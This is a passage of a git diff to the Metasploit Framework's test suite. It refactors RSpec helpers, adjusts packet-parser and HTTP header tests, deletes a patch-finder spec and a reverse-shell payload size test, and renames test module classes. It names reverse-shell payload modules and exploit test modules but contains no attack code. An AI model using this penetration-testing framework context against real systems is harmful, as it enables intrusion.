+ let(:fqdn) do
+ 'example.com'
+ end
+
+ it 'returns the FQDN' do
+ expect(subject.valid?(fqdn)).to eq(fqdn)
+ end
+
+ end
+
+ context 'when FQDN is not valid' do
+ let(:fqdn) do
+ 'INVALID'
+ end
+
+ it 'raises ArgumentError exception' do
+ expect { subject.valid?(fqdn) }.to raise_exception(ArgumentError)
+ end
+ end
+ end
+end
\ No newline at end of file
diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb
index 4be1ce6a77..1497ebaa9e 100644
--- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb
+++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do
it "should initialise with expected defaults" do
expect(parser.send(:raw)).to eq ""
- expect(parser.send(:hdr_length_left)).to eq 8
+ expect(parser.send(:hdr_length_left)).to eq 12
expect(parser.send(:payload_length_left)).to eq 0
end
diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb
index 644e576a5c..454850ee86 100644
--- a/spec/lib/rex/proto/http/client_request_spec.rb
+++ b/spec/lib/rex/proto/http/client_request_spec.rb
@@ -151,7 +151,26 @@ RSpec.describe Rex::Proto::Http::ClientRequest do
{
:set_host_header => { :result => "Host: [2001:DB8::1]:1234\r\n" },
}
- ]
+ ],
+
+ [
+ "with modified Content-Length header",
+ default_options.merge({
+ 'headers' => { 'Content-Length' => 1337 }
+ }),
+ {
+ :set_content_len_header => { args: 0, result: ''}
+ }
+ ],
+
+ [
+ "with 1024 bytes of Content-Length",
+ default_options,
+ {
+ :set_content_len_header => { args: 1024, result: "Content-Length: 1024\r\n"}
+ }
+ ],
+
].each do |c, opts, expectations|
context c do
subject(:client_request) { Rex::Proto::Http::ClientRequest.new(opts) }
diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb
index 0bbe2cf9d3..528b41f0da 100644
--- a/spec/modules/payloads_spec.rb
+++ b/spec/modules/payloads_spec.rb
@@ -1637,16 +1637,6 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'linux/x86/shell_reverse_tcp'
end
- context 'linux/x86/shell_reverse_tcp2' do
- it_should_behave_like 'payload cached size is consistent',
- ancestor_reference_names: [
- 'singles/linux/x86/shell_reverse_tcp2'
- ],
- dynamic_size: false,
- modules_pathname: modules_pathname,
- reference_name: 'linux/x86/shell_reverse_tcp2'
- end
-
context 'mainframe/shell_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 90be4e8a0a..0859ab6424 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -1,4 +1,6 @@
# -*- coding: binary -*-
+require 'stringio'
+
ENV['RAILS_ENV'] = 'test'
unless Bundler.settings.without.include?(:coverage)
@@ -114,3 +116,25 @@ end
Metasploit::Framework::Spec::Constants::Suite.configure!
Metasploit::Framework::Spec::Threads::Suite.configure!
+
+def get_stdout(&block)
+ out = $stdout
+ $stdout = tmp = StringIO.new
+ begin
+ yield
+ ensure
+ $stdout = out
+ end
+ tmp.string
+end
+
+def get_stderr(&block)
+ out = $stderr
+ $stderr = tmp = StringIO.new
+ begin
+ yield
+ ensure
+ $stderr = out
+ end
+ tmp.string
+end
diff --git a/spec/tools/dev/msftidy_spec.rb b/spec/tools/dev/msftidy_spec.rb
new file mode 100644
index 0000000000..bf9f115f85
--- /dev/null
+++ b/spec/tools/dev/msftidy_spec.rb
@@ -0,0 +1,48 @@
+require 'spec_helper'
+
+load Metasploit::Framework.root.join('tools/dev/msftidy.rb').to_path
+
+RSpec.describe Msftidy do
+ context "with a tidy auxiliary module" do
+ let(:auxiliary_tidy) { File.expand_path('modules/auxiliary/auxiliary_tidy.rb', FILE_FIXTURES_PATH) }
+ let(:msftidy) { Msftidy.new(auxiliary_tidy) }
+
+ before(:each) do
+ @msftidy_stdout = get_stdout { msftidy.run_checks }
+ end
+
+ it "outputs nothing" do
+ expect(@msftidy_stdout).to be_empty
+ end
+ end
+
+ context "with an untidy auxiliary module" do
+ let(:auxiliary_untidy) { File.expand_path('modules/auxiliary/auxiliary_untidy.rb', FILE_FIXTURES_PATH) }
+ let(:msftidy) { Msftidy.new(auxiliary_untidy) }
+
+ before(:each) do
+ @msftidy_stdout = get_stdout { msftidy.run_checks }
+ end
+
+ it "ERRORs when invalid superclass" do
+ expect(@msftidy_stdout).to match(/ERROR.*Invalid super class for auxiliary module/)
+ end
+
+ it "WARNINGs when specifying Rank" do
+ expect(@msftidy_stdout).to match(/WARNING.*Rank/)
+ end
+ end
+
+ context "with a tidy payload module" do
+ let(:payload_tidy) { File.expand_path('modules/payloads/payload_tidy.rb', FILE_FIXTURES_PATH) }
+ let(:msftidy) { Msftidy.new(payload_tidy) }
+
+ before(:each) do
+ @msftidy_stdout = get_stdout { msftidy.run_checks }
+ end
+
+ it "outputs nothing" do
+ expect(@msftidy_stdout).to be_empty
+ end
+ end
+end
diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb
index efcebca0e1..d56dac3ecf 100644
--- a/spec/tools/egghunter_spec.rb
+++ b/spec/tools/egghunter_spec.rb
@@ -1,6 +1,5 @@
load Metasploit::Framework.root.join('tools/exploit/egghunter.rb').to_path
-
-require 'stringio'
+require 'spec_helper'
RSpec.describe Egghunter do
@@ -16,17 +15,6 @@ RSpec.describe Egghunter do
describe '#run' do
- def get_stdout(&block)
- out = $stdout
- $stdout = fake = StringIO.new
- begin
- yield
- ensure
- $stdout = out
- end
- fake.string
- end
-
let(:default_opts) {
{ :platform => 'windows', :format => 'c', :eggtag => egg, :arch => 'x86' }
}
diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb
index 528f7863cd..f9666d0a0d 100644
--- a/spec/tools/md5_lookup_spec.rb
+++ b/spec/tools/md5_lookup_spec.rb
@@ -1,4 +1,5 @@
load Metasploit::Framework.root.join('tools/password/md5_lookup.rb').to_path
+require 'spec_helper'
require 'rex/proto/http/response'
require 'stringio'
@@ -70,17 +71,6 @@ RSpec.describe Md5LookupUtility do
end
end
- def get_stdout(&block)
- out = $stdout
- $stdout = fake = StringIO.new
- begin
- yield
- ensure
- $stdout = out
- end
- fake.string
- end
-
#
# Tests start here
#
diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb
deleted file mode 100644
index 8f1b498c9c..0000000000
--- a/spec/tools/msu_finder_spec.rb
+++ /dev/null
@@ -1,662 +0,0 @@
-load Metasploit::Framework.root.join('tools/exploit/msu_finder.rb').to_path
-
-require 'nokogiri'
-require 'uri'
-
-RSpec.describe MicrosoftPatchFinder do
-
- before(:example) do
- cli = Rex::Proto::Http::Client.new('127.0.0.1')
- allow(cli).to receive(:connect)
- allow(cli).to receive(:request_cgi)
- allow(cli).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new)
- allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli)
- end
-
- let(:technet) do
- MicrosoftPatchFinder::SiteInfo::TECHNET
- end
-
- let(:microsoft) do
- MicrosoftPatchFinder::SiteInfo::MICROSOFT
- end
-
- let(:googleapis) do
- MicrosoftPatchFinder::SiteInfo::GOOGLEAPIS
- end
-
- describe MicrosoftPatchFinder::SiteInfo do
- context 'Constants' do
- context 'TECHNET' do
- it 'returns 157.56.148.23 as the IP' do
- expect(technet[:ip]).to eq('157.56.148.23')
- end
-
- it 'returns technet.microsoft.com as the vhost' do
- expect(technet[:vhost]).to eq('technet.microsoft.com')
- end
- end
-
- context 'MICROSOFT' do
- it 'returns 104.72.230.162 as the IP' do
- expect(microsoft[:ip]).to eq('104.72.230.162')
- end
-
- it 'returns www.microsoft.com as the vhost' do
- expect(microsoft[:vhost]).to eq('www.microsoft.com')
- end
- end
-
- context 'GOOGLEAPIS' do
- it 'returns 74.125.28.95 as the IP' do
- expect(googleapis[:ip]).to eq('74.125.28.95')
- end
-
- it 'returns www.googleapis.com as the vhost' do
- expect(googleapis[:vhost]).to eq('www.googleapis.com')
- end
- end
- end
- end
-
- describe MicrosoftPatchFinder::Helper do
-
- def get_stdout(&block)
- out = $stdout
- $stdout = fake = StringIO.new
- begin
- yield
- ensure
- $stdout = out
- end
- fake.string
- end
-
- def get_stderr(&block)
- out = $stderr
- $stderr = fake = StringIO.new
- begin
- yield
- ensure
- $stderr = out
- end
- fake.string
- end
-
- subject(:object_helper) do
- mod = Object.new
- mod.extend MicrosoftPatchFinder::Helper
- mod
- end
-
- describe '#print_debug' do
- it 'prints a [DEBUG] message' do
- output = get_stderr { object_helper.print_debug }
- expect(output).to include('[DEBUG]')
- end
- end
-
- describe '#print_status' do
- it 'prints a [*] message' do
- output = get_stderr { object_helper.print_status }
- expect(output).to include('[*]')
- end
- end
-
- describe '#print_error' do
- it 'prints an [ERROR] message' do
- output = get_stderr { object_helper.print_error }
- expect(output).to include('[ERROR]')
- end
- end
-
- describe '#print_line' do
- it 'prints a regular message' do
- msg = 'TEST'
- output = get_stdout { object_helper.print_line(msg) }
- expect(output).to eq("#{msg}\n")
- end
- end
-
- describe '#send_http_request' do
- it 'returns a Rex::Proto::Http::Response object' do
- allow(object_helper).to receive(:print_debug)
- res = object_helper.send_http_request(MicrosoftPatchFinder::SiteInfo::TECHNET)
- expect(res).to be_kind_of(Rex::Proto::Http::Response)
- end
- end
-
- end
-
- describe MicrosoftPatchFinder::PatchLinkCollector do
-
- let(:ms15_100_html) do
- %Q|
-
-
-
-
- |
- end
-
- subject(:patch_link_collector) do
- MicrosoftPatchFinder::PatchLinkCollector.new
- end
-
- before(:example) do
- allow(patch_link_collector).to receive(:print_debug)
- end
-
- describe '#download_advisory' do
- it 'returns a Rex::Proto::Http::Response object' do
- res = patch_link_collector.download_advisory('ms15-100')
- expect(res).to be_kind_of(Rex::Proto::Http::Response)
- end
- end
-
- describe '#get_appropriate_pattern' do
-
- it 'returns a pattern for ms15-100' do
- expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a'
- p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms15_100_html))
- expect(p).to eq(expected_pattern)
- end
-
- it 'returns a pattern for ms07-029' do
- expected_pattern = '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]'
- p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_029_html))
- expect(p).to eq(expected_pattern)
- end
-
- it 'returns a pattern for ms03-039' do
- expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a'
- p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms03_039_html))
- expect(p).to eq(expected_pattern)
- end
-
- it 'returns a pattern for ms07-030' do
- expected_pattern = '//div[@id="mainBody"]//table//a'
- p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_030_html))
- expect(p).to eq(expected_pattern)
- end
- end
-
- describe '#get_details_aspx' do
- let(:details_aspx) do
- res = Rex::Proto::Http::Response.new
- allow(res).to receive(:body).and_return(ms15_100_html)
- res
- end
-
- it 'returns an URI object to a details aspx' do
- links = patch_link_collector.get_details_aspx(details_aspx)
- expected_uri = 'https://www.microsoft.com/downloads/details.aspx?familyid=1'
- expect(links.length).to eq(1)
- expect(links.first).to be_kind_of(URI)
- expect(links.first.to_s).to eq(expected_uri)
- end
- end
-
- describe '#follow_redirect' do
- let(:expected_header) do
- { 'Location' => 'http://example.com/' }
- end
-
- let(:http_res) do
- res = Rex::Proto::Http::Response.new
- allow(res).to receive(:headers).and_return(expected_header)
- res
- end
-
- it 'goes to a location based on the Location HTTP header' do
- cli = Rex::Proto::Http::Client.new('127.0.0.1')
- allow(cli).to receive(:connect)
- allow(cli).to receive(:request_cgi)
- allow(cli).to receive(:send_recv).and_return(http_res)
- allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli)
-
- expect(patch_link_collector.follow_redirect(technet, http_res).headers).to eq(expected_header)
- end
- end
-
- describe '#get_download_page' do
- it 'returns a Rex::Proto::Http::Response object' do
- uri = URI('http://www.example.com/')
- expect(patch_link_collector.get_download_page(uri)).to be_kind_of(Rex::Proto::Http::Response)
- end
- end
-
- describe '#get_download_links' do
- let(:confirm_aspx) do
- %Q|
-
- Download
-
- |
- end
-
- let(:expected_link) do
- 'http://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu'
- end
-
- let(:download_html_res) do
- Rex::Proto::Http::Response.new.tap { |response|
- allow(response).to receive(:body).and_return(
- %Q|
-
- Click here
-
- |
- )
- }
- end
-
- it 'returns an array of links' do
- cli = Rex::Proto::Http::Client.new('127.0.0.1')
- allow(cli).to receive(:connect)
- allow(cli).to receive(:request_cgi)
- allow(cli).to receive(:send_recv).and_return(download_html_res)
- allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli)
-
- expect(patch_link_collector.get_download_links(confirm_aspx).first).to eq(expected_link)
- end
- end
-
- describe '#has_advisory?' do
- it 'returns true if the page is found' do
- res = Rex::Proto::Http::Response.new
- expect(patch_link_collector.has_advisory?(res)).to be_truthy
- end
-
- it 'returns false if the page is not found' do
- html = %Q|
-
- We are sorry. The page you requested cannot be found
-
- |
-
- res = Rex::Proto::Http::Response.new
- allow(res).to receive(:body).and_return(html)
- expect(patch_link_collector.has_advisory?(res)).to be_falsey
- end
- end
-
- describe '#is_valid_msb?' do
- let(:good_msb) do
- 'MS15-100'
- end
-
- let(:bad_msb) do
- 'MS15-01'
- end
-
- it 'returns true if the MSB format is correct' do
- expect(patch_link_collector.is_valid_msb?(good_msb)).to be_truthy
- end
-
- it 'returns false if the MSB format is incorrect' do
- expect(patch_link_collector.is_valid_msb?(bad_msb)).to be_falsey
- end
-
- end
-
- end
-
- describe MicrosoftPatchFinder::TechnetMsbSearch do
-
- subject(:technet_msb_search) do
- MicrosoftPatchFinder::TechnetMsbSearch.new
- end
-
- before(:example) do
- allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:print_debug)
- allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts|
- case opts['uri']
- when /\/en\-us\/security\/bulletin\/dn602597\.aspx/
- html = %Q|
-
-
-
-
-
-
-
- |
- when /\/security\/bulletin\/services\/GetBulletins/
- html = %Q|{
- "l":1,
- "b":[
- {
- "d":"9/8/2015",
- "Id":"MS15-100",
- "KB":"3087918",
- "Title":"Vulnerability in Windows Media Center Could Allow Remote Code Execution",
- "Rating":"Important"
- }
- ]
- }
- |
- else
- html = ''
- end
-
- res = Rex::Proto::Http::Response.new
- allow(res).to receive(:body).and_return(html)
- res
- }
- end
-
- let(:ie10) do
- 'Windows Internet Explorer 10'
- end
-
- let(:ie10_id) do
- 10401
- end
-
- describe '#find_msb_numbers' do
- it 'returns an array of found MSB numbers' do
- msb = technet_msb_search.find_msb_numbers(ie10)
- expect(msb).to be_kind_of(Array)
- expect(msb.first).to eq('ms15-100')
- end
- end
-
- describe '#search' do
- it 'returns search results in JSON format' do
- results = technet_msb_search.search(ie10)
- expect(results).to be_kind_of(Hash)
- expect(results['b'].first['Id']).to eq('MS15-100')
- end
- end
-
- describe '#search_by_product_ids' do
- it 'returns an array of found MSB numbers' do
- results = technet_msb_search.search_by_product_ids([ie10_id])
- expect(results).to be_kind_of(Array)
- expect(results.first).to eq('ms15-100')
- end
- end
-
- describe '#search_by_keyword' do
- it 'returns an array of found MSB numbers' do
- results = technet_msb_search.search_by_keyword('ms15-100')
- expect(results).to be_kind_of(Array)
- expect(results.first).to eq('ms15-100')
- end
- end
-
- describe '#get_product_dropdown_list' do
- it 'returns an array of products' do
- results = technet_msb_search.get_product_dropdown_list
- expect(results).to be_kind_of(Array)
- expect(results.first).to be_kind_of(Hash)
- expected_hash = {:option_value=>"10175", :option_text=>"Active Directory"}
- expect(results.first).to eq(expected_hash)
- end
- end
-
- end
-
- describe MicrosoftPatchFinder::GoogleMsbSearch do
-
- subject(:google_msb_search) do
- MicrosoftPatchFinder::GoogleMsbSearch.new
- end
-
- let(:json_data) do
- %Q|{
- "kind": "customsearch#search",
- "url": {
- "type": "application/json",
- "template": ""
- },
- "queries": {
- "request": [
- {
- "title": "Google Custom Search - internet",
- "totalResults": "1",
- "searchTerms": "internet",
- "count": 10,
- "startIndex": 1,
- "inputEncoding": "utf8",
- "outputEncoding": "utf8",
- "safe": "off",
- "cx": ""
- }
- ]
- },
- "context": {
- "title": "Technet.microsoft"
- },
- "searchInformation": {
- "searchTime": 0.413407,
- "formattedSearchTime": "0.41",
- "totalResults": "1",
- "formattedTotalResults": "1"
- },
- "items": [
- {
- "kind": "customsearch#result",
- "title": "Microsoft Security Bulletin MS15-093 - Critical",
- "htmlTitle": "Microsoft Security Bulletin MS15-093 - Critical",
- "link": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx",
- "displayLink": "technet.microsoft.com",
- "snippet": "",
- "htmlSnippet": "",
- "cacheId": "2xDJB6zqL_sJ",
- "formattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx",
- "htmlFormattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx",
- "pagemap": {
- "metatags": [
- {
- "search.mshkeyworda": "ms15-093",
- "search.mshattr.assetid": "ms15-093",
- "search.mshattr.docset": "bulletin",
- "search.mshattr.sarticletype": "bulletin",
- "search.mshattr.sarticleid": "MS15-093",
- "search.mshattr.sarticletitle": "Security Update for Internet Explorer",
- "search.mshattr.sarticledate": "2015-08-20",
- "search.mshattr.sarticleseverity": "Critical",
- "search.mshattr.sarticleversion": "1.1",
- "search.mshattr.sarticlerevisionnote": "",
- "search.mshattr.sarticleseosummary": "",
- "search.mshattr.skbnumber": "3088903",
- "search.mshattr.prefix": "MSRC",
- "search.mshattr.topictype": "kbOrient",
- "search.mshattr.preferredlib": "/library/security",
- "search.mshattr.preferredsitename": "TechNet",
- "search.mshattr.docsettitle": "MSRC Document",
- "search.mshattr.docsetroot": "Mt404691",
- "search.save": "history",
- "search.microsoft.help.id": "ms15-093",
- "search.description": "",
- "search.mscategory": "dn567670",
- "search.mscategoryv": "dn567670Security10",
- "search.tocnodeid": "mt404691",
- "mshkeyworda": "ms15-093",
- "mshattr": "AssetID:ms15-093",
- "save": "history",
- "microsoft.help.id": "ms15-093"
- }
- ]
- }
- }
- ]
-}
- |
- end
-
- before(:example) do
- allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:print_debug)
- allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts|
- res = Rex::Proto::Http::Response.new
- allow(res).to receive(:body).and_return(json_data)
- res
- }
- end
-
- let(:expected_msb) do
- 'ms15-093'
- end
-
- describe '#find_msb_numbers' do
- it 'returns an array of msb numbers' do
- results = google_msb_search.find_msb_numbers(expected_msb)
- expect(results).to be_kind_of(Array)
- expect(results).to eq([expected_msb])
- end
- end
-
- describe '#search' do
- it 'returns a hash (json data)' do
- results = google_msb_search.search(starting_index: 1)
- expect(results).to be_kind_of(Hash)
- end
- end
-
- describe '#parse_results' do
- it 'returns a hash (json data)' do
- res = Rex::Proto::Http::Response.new
- allow(res).to receive(:body).and_return(json_data)
-
- results = google_msb_search.parse_results(res)
- expect(results).to be_kind_of(Hash)
- end
- end
-
- describe '#get_total_results' do
- it 'returns a fixnum' do
- total = google_msb_search.get_total_results(JSON.parse(json_data))
- expect(total).to be_kind_of(Fixnum)
- end
- end
-
- describe '#get_next_index' do
- it 'returns a fixnum' do
- i = google_msb_search.get_next_index(JSON.parse(json_data))
- expect(i).to be_kind_of(Fixnum)
- end
- end
-
- end
-
- describe MicrosoftPatchFinder::Driver do
-
- let(:msb) do
- 'ms15-100'
- end
-
- let(:expected_link) do
- 'http://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu'
- end
-
- before(:example) do
- opts = { keyword: msb }
- allow(MicrosoftPatchFinder::OptsConsole).to receive(:get_parsed_options).and_return(opts)
- allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:download_advisory).and_return(Rex::Proto::Http::Response.new)
- allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_details_aspx).and_return([expected_link])
- allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_page).and_return(Rex::Proto::Http::Response.new)
- allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_links).and_return([expected_link])
- allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_debug)
- allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_error)
- allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_debug)
- allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_error)
- end
-
- subject(:driver) do
- MicrosoftPatchFinder::Driver.new
- end
-
- describe '#get_download_links' do
- it 'returns an array of links' do
- results = driver.get_download_links(msb)
- expect(results).to be_kind_of(Array)
- expect(results.first).to eq(expected_link)
- end
- end
-
- describe '#google_search' do
- it 'returns search results' do
- skip('See rspec for MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers')
- end
- end
-
- describe '#technet_search' do
- it 'returns search results' do
- skip('See rspec for MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers')
- end
- end
-
- end
-
-end
diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb
index ce9d04f023..09803e5406 100644
--- a/spec/tools/virustotal_spec.rb
+++ b/spec/tools/virustotal_spec.rb
@@ -172,19 +172,6 @@ RSpec.describe VirusTotalUtility do
describe VirusTotalUtility::Driver do
- # Get stdout:
- # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec
- def get_stdout(&block)
- out = $stdout
- $stdout = fake = StringIO.new
- begin
- yield
- ensure
- $stdout = out
- end
- fake.string
- end
-
before do
$stdin = StringIO.new("Y\n")
end
diff --git a/test/modules/auxiliary/test/capture.rb b/test/modules/auxiliary/test/capture.rb
index 4e05e343fc..7635dd4e0c 100644
--- a/test/modules/auxiliary/test/capture.rb
+++ b/test/modules/auxiliary/test/capture.rb
@@ -7,7 +7,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Capture
diff --git a/test/modules/auxiliary/test/check.rb b/test/modules/auxiliary/test/check.rb
index dbcb353284..09138e7dcb 100644
--- a/test/modules/auxiliary/test/check.rb
+++ b/test/modules/auxiliary/test/check.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
diff --git a/test/modules/auxiliary/test/eth_spoof.rb b/test/modules/auxiliary/test/eth_spoof.rb
index 087adf1282..c20f1d5ffe 100644
--- a/test/modules/auxiliary/test/eth_spoof.rb
+++ b/test/modules/auxiliary/test/eth_spoof.rb
@@ -7,7 +7,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Capture
diff --git a/test/modules/auxiliary/test/ftp_data.rb b/test/modules/auxiliary/test/ftp_data.rb
index 8f22c67c49..d0b28c0421 100644
--- a/test/modules/auxiliary/test/ftp_data.rb
+++ b/test/modules/auxiliary/test/ftp_data.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
diff --git a/test/modules/auxiliary/test/heaplib2.rb b/test/modules/auxiliary/test/heaplib2.rb
index d50c432964..c1e9a0cbae 100644
--- a/test/modules/auxiliary/test/heaplib2.rb
+++ b/test/modules/auxiliary/test/heaplib2.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
diff --git a/test/modules/auxiliary/test/httpserver.rb b/test/modules/auxiliary/test/httpserver.rb
index 8fc667d5c4..2da0069f68 100644
--- a/test/modules/auxiliary/test/httpserver.rb
+++ b/test/modules/auxiliary/test/httpserver.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
diff --git a/test/modules/auxiliary/test/ip_spoof.rb b/test/modules/auxiliary/test/ip_spoof.rb
index 50dc2f8ef4..dcb670d582 100644
--- a/test/modules/auxiliary/test/ip_spoof.rb
+++ b/test/modules/auxiliary/test/ip_spoof.rb
@@ -6,7 +6,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
include Msf::Auxiliary::Scanner
diff --git a/test/modules/auxiliary/test/recon_passive.rb b/test/modules/auxiliary/test/recon_passive.rb
index dfd7a23b8e..11ec7c313b 100644
--- a/test/modules/auxiliary/test/recon_passive.rb
+++ b/test/modules/auxiliary/test/recon_passive.rb
@@ -7,7 +7,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb
index 256f549059..f93e01cc95 100644
--- a/test/modules/auxiliary/test/report_auth_info.rb
+++ b/test/modules/auxiliary/test/report_auth_info.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
FAKE_IP = '192.168.12.123'
FAKE_PORT = 80
diff --git a/test/modules/auxiliary/test/scanner_batch.rb b/test/modules/auxiliary/test/scanner_batch.rb
index d9e8a346d7..120b02783b 100644
--- a/test/modules/auxiliary/test/scanner_batch.rb
+++ b/test/modules/auxiliary/test/scanner_batch.rb
@@ -7,7 +7,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
diff --git a/test/modules/auxiliary/test/scanner_host.rb b/test/modules/auxiliary/test/scanner_host.rb
index 2f9ff8475e..4ff7dd85b2 100644
--- a/test/modules/auxiliary/test/scanner_host.rb
+++ b/test/modules/auxiliary/test/scanner_host.rb
@@ -7,7 +7,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
diff --git a/test/modules/auxiliary/test/scanner_range.rb b/test/modules/auxiliary/test/scanner_range.rb
index 76210a771d..9c3f192320 100644
--- a/test/modules/auxiliary/test/scanner_range.rb
+++ b/test/modules/auxiliary/test/scanner_range.rb
@@ -7,7 +7,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb
index fea0b6870b..aaa7ae5f5a 100644
--- a/test/modules/auxiliary/test/space-check.rb
+++ b/test/modules/auxiliary/test/space-check.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
diff --git a/test/modules/exploits/test/aggressive.rb b/test/modules/exploits/test/aggressive.rb
index 293301faa3..f989bac288 100644
--- a/test/modules/exploits/test/aggressive.rb
+++ b/test/modules/exploits/test/aggressive.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::Tcp
diff --git a/test/modules/exploits/test/browserexploitserver.rb b/test/modules/exploits/test/browserexploitserver.rb
index dc38645d7a..1ccd6ffadf 100644
--- a/test/modules/exploits/test/browserexploitserver.rb
+++ b/test/modules/exploits/test/browserexploitserver.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
diff --git a/test/modules/exploits/test/check.rb b/test/modules/exploits/test/check.rb
index 2b2aaf2ab5..5520014680 100644
--- a/test/modules/exploits/test/check.rb
+++ b/test/modules/exploits/test/check.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit
+class MetasploitModule < Msf::Exploit
def initialize(info = {})
super(update_info(info,
diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb
index ecf80239cb..22cd334e90 100644
--- a/test/modules/exploits/test/cmdweb.rb
+++ b/test/modules/exploits/test/cmdweb.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
# =( need more targets and perhaps more OS specific return values OS specific would be preferred
diff --git a/test/modules/exploits/test/dialup.rb b/test/modules/exploits/test/dialup.rb
index c5a662edd2..edd7a228ee 100644
--- a/test/modules/exploits/test/dialup.rb
+++ b/test/modules/exploits/test/dialup.rb
